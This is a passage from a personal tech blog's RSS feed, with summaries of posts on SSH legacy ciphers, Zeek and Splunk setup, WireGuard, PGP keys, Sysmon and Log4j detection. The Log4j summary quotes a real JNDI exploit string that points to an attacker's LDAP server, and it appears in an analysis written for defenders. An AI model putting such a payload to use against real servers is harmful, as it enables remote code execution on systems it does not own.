      <pubDate>Tue, 18 Jan 2022 10:16:22 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/oldssh/</guid>
      <description>&lt;p&gt;For those of us who support old hosts with old instances of &lt;code&gt;ssh&lt;/code&gt; (quite common on old networking hardware), you may encounter the following errors:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ ssh host1.example.com&#xA;Unable to negotiate with 192.168.0.1 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ ssh host2.example.com&#xA;Unable to negotiate with 192.168.0.2 port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ ssh host3.example.com&#xA;Unable to negotiate with 192.168.0.3 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ ssh -oKexAlgorithms=diffie-hellman-group1-sha1 host2.example.com&#xA;Unable to negotiate with 192.168.0.2 port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;temporary-fix&#34;&gt;Temporary Fix&lt;/h2&gt;&#xA;&lt;p&gt;To temporarily fix these problems, use following command-line options:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Zeek Installation and Splunk CIM Data Normalization Guide</title>
      <link>https://jasonmurray.org/posts/2022/zeekinstallandsplunklog/</link>
      <pubDate>Sun, 16 Jan 2022 10:08:15 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/zeekinstallandsplunklog/</guid>
      <description>&lt;p&gt;Log files become significantly more helpful when they are properly structured and share common data models with other systems. In this post, I will go over how to send logs from Zeek into Splunk using a CIM compliant data model.&lt;/p&gt;&#xA;&lt;p&gt;But first, it&amp;rsquo;s important to understand what a CIM compliant data model is. According to &lt;a href=&#34;https://docs.splunk.com/Documentation/CIM/5.0.0/User/Overview&#34;&gt;Splunk&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Splunk Common Information Model (CIM) is a shared semantic model focused on extracting value from data. The CIM is implemented as an add-on that contains a collection of data models, documentation, and tools that support the consistent, normalized treatment of data for maximum efficiency at search time.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to View a Log4j Payload Using ldapsearch</title>
      <link>https://jasonmurray.org/posts/2021/log4jpayloadview/</link>
      <pubDate>Thu, 30 Dec 2021 12:35:38 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/log4jpayloadview/</guid>
      <description>&lt;p&gt;Log4j received quite a bit of attention over the past few weeks. The vulnerability is incredibly easy to exploit, requires no human interaction, and has the ability to execute any payload a malicious actor injects. But how does it retrieve the payload? What does the JNDI &lt;code&gt;${jndi:ldap://185.25.51.48:1389/a}&lt;/code&gt; string do?&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s explore these questions by looking at a real world log4j exploit attempt. These are the actual IP address and exploit code from a real attempt to exploit the log4j vulnerability on my lab network.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Custom PC Build</title>
      <link>https://jasonmurray.org/posts/2021/custompc/</link>
      <pubDate>Sun, 26 Dec 2021 13:15:07 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/custompc/</guid>
      <description>&lt;p&gt;My son received parts to build a custom gaming rig from Santa. The initial build process took a few hours. Installing the Windows operating system took an entire day.&lt;/p&gt;&#xA;&lt;p&gt;TL;DR: Save yourself HOURS of frustration, use the &lt;a href=&#34;https://support.microsoft.com/en-us/windows/create-installation-media-for-windows-99a58364-8c02-206f-aa6f-40c3b507420d&#34;&gt;Windows Media Creation Tool&lt;/a&gt;; &lt;a href=&#34;https://www.balena.io/etcher/&#34;&gt;BalenaEtcher&lt;/a&gt;, &lt;code&gt;dd&lt;/code&gt;, etc do NOT work.&lt;/p&gt;&#xA;&lt;h2 id=&#34;parts-list&#34;&gt;Parts List&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MSI Forge 100R Case&lt;/li&gt;&#xA;&lt;li&gt;MSI B450 Tomahawk Max II Motherboard&lt;/li&gt;&#xA;&lt;li&gt;Ryzen 7 5000 Series Processor&lt;/li&gt;&#xA;&lt;li&gt;MSI GeForce GTX 1050Ti Graphics Card&lt;/li&gt;&#xA;&lt;li&gt;Samsung 970 EVO Plus NVMe M.2 Solid State Drive&lt;/li&gt;&#xA;&lt;li&gt;G.Skill 8G x 2 DDR4 RAM&lt;/li&gt;&#xA;&lt;li&gt;Kraken X53 Liquid CPU Cooler&lt;/li&gt;&#xA;&lt;li&gt;EVGA 600W Bronze Power Supply&lt;/li&gt;&#xA;&lt;li&gt;MSI Optix G24D6P Monitor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;pictures-of-all-the-parts&#34;&gt;Pictures of all the Parts&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3910.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3910.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3911.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3911.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3912.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3912.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3913.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3913.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3914.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3914.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3915.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3915.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3916.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3916.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3917.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3917.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&#xA;&lt;a href=&#34;https://jasonmurray.org/images/IMG_3918.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_3918.jpeg&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Splunk 8.2.4 Default Install Apps</title>
      <link>https://jasonmurray.org/posts/2021/splunk824defaultapps/</link>
      <pubDate>Thu, 23 Dec 2021 07:43:57 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/splunk824defaultapps/</guid>
      <description>&lt;p&gt;The standard apps for a default installation of Splunk 8.2.4 are:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@splunk:/opt/splunk$ sudo ./bin/splunk display app&#xA;alert_logevent                 CONFIGURED          ENABLED             INVISIBLE&#xA;alert_webhook                  CONFIGURED          ENABLED             INVISIBLE&#xA;appsbrowser                    CONFIGURED          ENABLED             INVISIBLE&#xA;introspection_generator_addon  CONFIGURED          ENABLED             INVISIBLE&#xA;journald_input                 UNCONFIGURED        ENABLED             INVISIBLE&#xA;launcher                       CONFIGURED          ENABLED             VISIBLE&#xA;learned                        UNCONFIGURED        ENABLED             INVISIBLE&#xA;legacy                         UNCONFIGURED        DISABLED            INVISIBLE&#xA;python_upgrade_readiness_app   UNCONFIGURED        ENABLED             VISIBLE&#xA;sample_app                     UNCONFIGURED        DISABLED            INVISIBLE&#xA;search                         CONFIGURED          ENABLED             VISIBLE&#xA;splunk-dashboard-studio        CONFIGURED          ENABLED             VISIBLE&#xA;splunk_archiver                CONFIGURED          ENABLED             INVISIBLE&#xA;splunk_essentials_8_2          CONFIGURED          ENABLED             VISIBLE&#xA;splunk_gdi                     UNCONFIGURED        ENABLED             INVISIBLE&#xA;splunk_httpinput               UNCONFIGURED        ENABLED             INVISIBLE&#xA;splunk_instrumentation         UNCONFIGURED        ENABLED             VISIBLE&#xA;splunk_internal_metrics        UNCONFIGURED        ENABLED             INVISIBLE&#xA;splunk_metrics_workspace       UNCONFIGURED        ENABLED             VISIBLE&#xA;splunk_monitoring_console      UNCONFIGURED        ENABLED             VISIBLE&#xA;splunk_rapid_diag              UNCONFIGURED        ENABLED             VISIBLE&#xA;splunk_secure_gateway          UNCONFIGURED        ENABLED             VISIBLE&#xA;SplunkForwarder                UNCONFIGURED        DISABLED            INVISIBLE&#xA;SplunkLightForwarder           UNCONFIGURED        DISABLED            INVISIBLE&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Detecting successful log4j compromises with Zeek and Splunk</title>
      <link>https://jasonmurray.org/posts/2021/zeeklog4j/</link>
      <pubDate>Wed, 22 Dec 2021 18:45:00 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/zeeklog4j/</guid>
      <description>&lt;p&gt;By using the log4j Zeek package &lt;a href=&#34;https://github.com/corelight/cve-2021-44228&#34;&gt;CVE-2021-44228&lt;/a&gt; and sending the logs off to Splunk, security analysts can detect successful log4j compromises by alerting on hosts reaching out to log4j payload servers.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;p&gt;This Splunk one-liner will first query the zeek_log4j.log to determine the log4j payload IP address then take these results and query the zeek_conn.log to find any successful communication to the payload server(s):&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index=zeek sourcetype=zeek_conn [search index=zeek sourcetype=zeek_log4j | dedup target_host | fields target_host | rename target_host as id.resp_h]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example output (using a bogus log4j payload IP address):&lt;/p&gt;</description>
    </item>
    <item>
      <title>Install Splunk Enterprise in a Lab Environment</title>
      <link>https://jasonmurray.org/posts/2021/installsplunk/</link>
      <pubDate>Tue, 21 Dec 2021 21:26:05 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/installsplunk/</guid>
      <description>&lt;p&gt;A quick start guide to installing Splunk Enterprise on Ubuntu server for a test lab environment.&lt;/p&gt;&#xA;&lt;p&gt;Download the latest version of Splunk Enterprise. At the time of this writing, the latest version is 8.2.4.  Check &lt;a href=&#34;https://www.splunk.com/en_us/download/splunk-enterprise.html&#34;&gt;here&lt;/a&gt; for the latest:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb &amp;#39;https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@splunk:~$ wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb &amp;#39;https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb&amp;#39;&#xA;--2021-12-23 03:17:21--  https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb&#xA;Resolving download.splunk.com (download.splunk.com)... 2600:9000:2073:e600:1d:f9c1:d100:93a1, 2600:9000:2073:6000:1d:f9c1:d100:93a1, 2600:9000:2073:f800:1d:f9c1:d100:93a1, ...&#xA;Connecting to download.splunk.com (download.splunk.com)|2600:9000:2073:e600:1d:f9c1:d100:93a1|:443... connected.&#xA;HTTP request sent, awaiting response... 200 OK&#xA;Length: 434892008 (415M) [binary/octet-stream]&#xA;Saving to: ‘splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb’&#xA;&#xA;splunk-8.2.4-87e2dda940d1-linux-2.6-a 100%[========================================================================&amp;gt;] 414.75M  18.9MB/s    in 24s&#xA;&#xA;2021-12-23 03:17:45 (17.1 MB/s) - ‘splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb’ saved [434892008/434892008]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install the .deb package:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Married for 23 Years / Half of my Life</title>
      <link>https://jasonmurray.org/posts/2021/23years/</link>
      <pubDate>Sun, 19 Dec 2021 22:23:17 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/23years/</guid>
      <description>&lt;p&gt;Today we celebrate our 23rd anniversary!  At 46 years old and 23 years married, I&amp;rsquo;ve spent half my life with this wonderful person.&lt;/p&gt;&#xA;&lt;p&gt;I love the family we made together.  There is no one I would rather spend these years with!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-12-23-22-23-24.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-12-23-22-23-24.png&#34; alt=&#34;Image of Jason and Jami on their 23rd wedding anniversary&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>A New Chapter in My Career: Network Architect to Assistant Director</title>
      <link>https://jasonmurray.org/posts/2021/assistantdir/</link>
      <pubDate>Wed, 08 Dec 2021 18:33:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/assistantdir/</guid>
      <description>&lt;p&gt;Starting on December 8, 2021 I am transitioning from Network Architect to Assistant Director of Digital Forensics and Incident Response at &lt;a href=&#34;https://wustl.edu/&#34;&gt;Washington University in St. Louis&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been a part of the Network Engineering team for the past 16 years. First as the Sr. Unix Systems Engineer, where I managed hundreds of Unix (Solaris and Linux) hosts. Then Sr. Network and Systems Engineer, designing and managing thousands of networking devices. And finally Network Architect, leading strategic planning.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Installing Windows 2022 Server in a Lab Environment</title>
      <link>https://jasonmurray.org/posts/2021/windows2022serverinstall/</link>
      <pubDate>Wed, 01 Dec 2021 09:00:52 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/windows2022serverinstall/</guid>
      <description>&lt;p&gt;Download a free and legal copy of Windows Server 2022 (evaluation version) from &lt;a href=&#34;https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022&#34;&gt;https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-12-01-09-06-52.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-12-01-09-06-52.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Configure the VMware virtual machine, mount the &lt;code&gt;.iso&lt;/code&gt; install image, start the VM, and log into the console (outside the scope of this document):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-12-01-12-26-27.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-12-01-12-26-27.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select the language:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-12-01-09-01-15.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-12-01-09-01-15.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select &amp;ldquo;Install Now&amp;rdquo;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-12-01-09-01-38.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-12-01-09-01-38.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows 2002 Server Standard Desktop Edition&lt;/code&gt; is selected to simplify management in a home lab environment:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Secure Communications: Generating a New GnuPG Key</title>
      <link>https://jasonmurray.org/posts/2021/creategpgkey/</link>
      <pubDate>Wed, 10 Nov 2021 07:49:47 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/creategpgkey/</guid>
      <description>&lt;p&gt;A few days ago, I realized &lt;a href=&#34;https://jasonmurray.org/posts/2021/revokepgp/&#34;&gt;I didn&amp;rsquo;t remember the password to my PGP key&lt;/a&gt; and had to revoke it.&lt;/p&gt;&#xA;&lt;p&gt;While PGP is no longer the most popular way to securely communicate, it is still widely used in the technical community. In this post we will provide  the basic steps required to generate a secure PGP key pair on a macOS or Linux machine (anything with a command line).&lt;/p&gt;&#xA;&lt;p&gt;Install &lt;a href=&#34;https://www.gnupg.org/download/index.html&#34;&gt;GnuPG&lt;/a&gt; using your favorite package manager.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lost Password: Revoking PGP keys with a revocation certificate</title>
      <link>https://jasonmurray.org/posts/2021/revokepgp/</link>
      <pubDate>Tue, 09 Nov 2021 10:12:51 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/revokepgp/</guid>
      <description>&lt;p&gt;It happened, I can&amp;rsquo;t remember the passphrase to my PGP key:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg: signing failed: Bad passphrase&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Many years ago, I signed every email and validate every PGP signature. As time passed, &lt;code&gt;pgp&lt;/code&gt; faded into the background as modern email clients lacked support and newer and easier to use tools replaced encrypted email.&lt;/p&gt;&#xA;&lt;p&gt;Luckily, I had the foresight to create a &lt;a href=&#34;https://www.gnupg.org/gph/en/manual/c14.html&#34;&gt;revocation certificate&lt;/a&gt; to revoke my key without the password.&lt;/p&gt;&#xA;&lt;p&gt;In this guide, we will be revoking the following key:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Configure Client Wireguard VPN Server on Linux</title>
      <link>https://jasonmurray.org/posts/2021/wireguardlinux/</link>
      <pubDate>Tue, 02 Nov 2021 10:06:59 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/wireguardlinux/</guid>
      <description>&lt;p&gt;How to use &lt;a href=&#34;https://stanislas.blog/&#34;&gt;Stanislas&amp;rsquo;s&lt;/a&gt; configuration scripts to configure a WireGuard client VPN server on Linux.&lt;/p&gt;&#xA;&lt;h2 id=&#34;configuration-details&#34;&gt;Configuration Details&lt;/h2&gt;&#xA;&lt;h3 id=&#34;linux-server-configuration&#34;&gt;Linux Server Configuration&lt;/h3&gt;&#xA;&lt;p&gt;Install Wireguard configuration script:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -O https://raw.githubusercontent.com/angristan/wireguard-install/master/wireguard-install.sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example Output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ curl -O https://raw.githubusercontent.com/angristan/wireguard-install/master/wireguard-install.sh&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xA;100 15088  100 15088    0     0   8533      0  0:00:01  0:00:01 --:--:--  8529&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Make the script executable:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod +x wireguard-install.sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example Output:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable Full Text RSS Feeds in Hugo</title>
      <link>https://jasonmurray.org/posts/2021/rssfulltexthugo/</link>
      <pubDate>Mon, 01 Nov 2021 19:21:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/rssfulltexthugo/</guid>
      <description>&lt;p&gt;By default, &lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt; summarizes each article when generating the RSS feed. Not ideal if your the type of person who prefers to read the full content directly in an RSS reader.  This post will show you how to enable full text RSS feeds in Hugo.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s an example of a long article summarized in &lt;a href=&#34;https://www.inoreader.com/&#34;&gt;Inoreader&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-11-01-19-39-24.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-11-01-19-39-24.png&#34; alt=&#34;Image of Summarized article from RSS feed in Inoreader&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s the same article after enabling full content RSS feeds:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Preparing to ThreatHunt: Installing and Configuring Sysmon on Windows 10</title>
      <link>https://jasonmurray.org/posts/2021/sysmon-on-windows10/</link>
      <pubDate>Fri, 29 Oct 2021 15:53:43 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sysmon-on-windows10/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Sysmon is a free Windows system service that gathers and logs telemetry information to the Windows event log. For security professionals, it provides detailed information about process creations, network connections, and changes to files which can be used to identify nefarious activities by potential threat actors.&lt;/p&gt;&#xA;&lt;p&gt;In this article, we will walk through installing and configuring Sysmon on Windows 10. Using a modified copy of &lt;a href=&#34;https://github.com/SwiftOnSecurity/sysmon-config&#34;&gt;SwiftOnSecurity&lt;/a&gt;&amp;rsquo;s excellent base configuration.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Browse to the &lt;a href=&#34;https://github.com/SwiftOnSecurity/sysmon-config&#34;&gt;SwiftOnSecurity&lt;/a&gt; GitHub page and clone the &lt;code&gt;sysmon-config&lt;/code&gt;  repository by clicking the &lt;code&gt;Fork&lt;/code&gt; button in the upper right corner. In the next few steps we will modify the configuration for our specific needs:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Capturing packets on Cisco ASA 5585-SSP40 drops per flow bandwidth to 1Gb/s</title>
      <link>https://jasonmurray.org/posts/2021/ciscoasacapturebw/</link>
      <pubDate>Wed, 20 Oct 2021 19:59:45 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/ciscoasacapturebw/</guid>
      <description>&lt;p&gt;TL;DR: Capturing packets on a Cisco ASA significantly reduces available bandwidth. Don&amp;rsquo;t forget to turn them off when finished.&lt;/p&gt;&#xA;&lt;p&gt;While performing a routine network performance test, I noticed a reduction in available bandwidth on a link normally able to carry around 2.5Gb/s.&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;code&gt;iperf3&lt;/code&gt; between two 10Gb/s capable &lt;a href=&#34;https://perfsonar.net/&#34;&gt;perfsonar&lt;/a&gt; nodes with an ASA 5585 SSP40 in the middle, I was only able to push around 1Gb/s:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[user@perfsonar-2 ~]$ iperf3 -t 10 -i 1 -c perfsonar-1.example.com&#xA;Connecting to host perfsonar-1.example.com, port 5201&#xA;[  5] local 10.39.253.177 port 59110 connected to 128.252.5.113 port 5201&#xA;[ ID] Interval           Transfer     Bitrate         Retr  Cwnd&#xA;[  5]   0.00-1.00   sec   127 MBytes  1.06 Gbits/sec  1226   1010 KBytes&#xA;[  5]   1.00-2.00   sec   120 MBytes  1.01 Gbits/sec    0   1.14 MBytes&#xA;[  5]   2.00-3.00   sec   121 MBytes  1.02 Gbits/sec    0   1.28 MBytes&#xA;[  5]   3.00-4.00   sec   120 MBytes  1.01 Gbits/sec    0   1.52 MBytes&#xA;[  5]   4.00-5.00   sec   120 MBytes  1.01 Gbits/sec   88    949 KBytes&#xA;[  5]   5.00-6.00   sec   120 MBytes  1.01 Gbits/sec    0   1.08 MBytes&#xA;[  5]   6.00-7.00   sec   120 MBytes  1.01 Gbits/sec    0   1.22 MBytes&#xA;[  5]   7.00-8.00   sec   119 MBytes   996 Mbits/sec    0   1.42 MBytes&#xA;[  5]   8.00-9.00   sec   120 MBytes  1.01 Gbits/sec    0   1.71 MBytes&#xA;[  5]   9.00-10.00  sec   120 MBytes  1.01 Gbits/sec   86   1.02 MBytes&#xA;- - - - - - - - - - - - - - - - - - - - - - - - -&#xA;[ ID] Interval           Transfer     Bitrate         Retr&#xA;[  5]   0.00-10.00  sec  1.18 GBytes  1.01 Gbits/sec  1400             sender&#xA;[  5]   0.00-10.03  sec  1.17 GBytes  1.00 Gbits/sec                  receiver&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Confirmed the ASA is running packet captures on the inside interface:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Configuring Linux to respond to any IP address within a subnet block (example 10.0.0.0/8)</title>
      <link>https://jasonmurray.org/posts/2021/anyip/</link>
      <pubDate>Fri, 24 Sep 2021 16:12:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/anyip/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;TL;DR&lt;/h1&gt;&#xA;&lt;p&gt;Instead of manually configuring individual interfaces with IP addresses, enable &lt;code&gt;anyip&lt;/code&gt; to respond to all ip addresses in the &lt;code&gt;10.0.0.0/8&lt;/code&gt; subnet with the following command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ip -4 route add local 10.0.0.0/8 dev lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Confirm with &lt;code&gt;ping&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# ping 10.123.12.45&#xA;PING 10.123.12.45 (10.123.12.45) 56(84) bytes of data.&#xA;64 bytes from 10.123.12.45: icmp_seq=1 ttl=64 time=0.050 ms&#xA;64 bytes from 10.123.12.45: icmp_seq=2 ttl=64 time=0.062 ms&#xA;64 bytes from 10.123.12.45: icmp_seq=3 ttl=64 time=0.062 ms&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;For a variety of reasons, it may be necessary for a server to respond to any IP address within a given subnet.  For example, a honeypot attached to a /24 darknet subnet or a network lab simulator host which responds to anything in the 0.0.0.0/0 supernet.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Fixing vmware boot error: Unsupported or invalid disk type 2 for &#39;scsi0:0&#39;</title>
      <link>https://jasonmurray.org/posts/2021/scsi0/</link>
      <pubDate>Wed, 15 Sep 2021 20:46:38 -0500</pubDate>
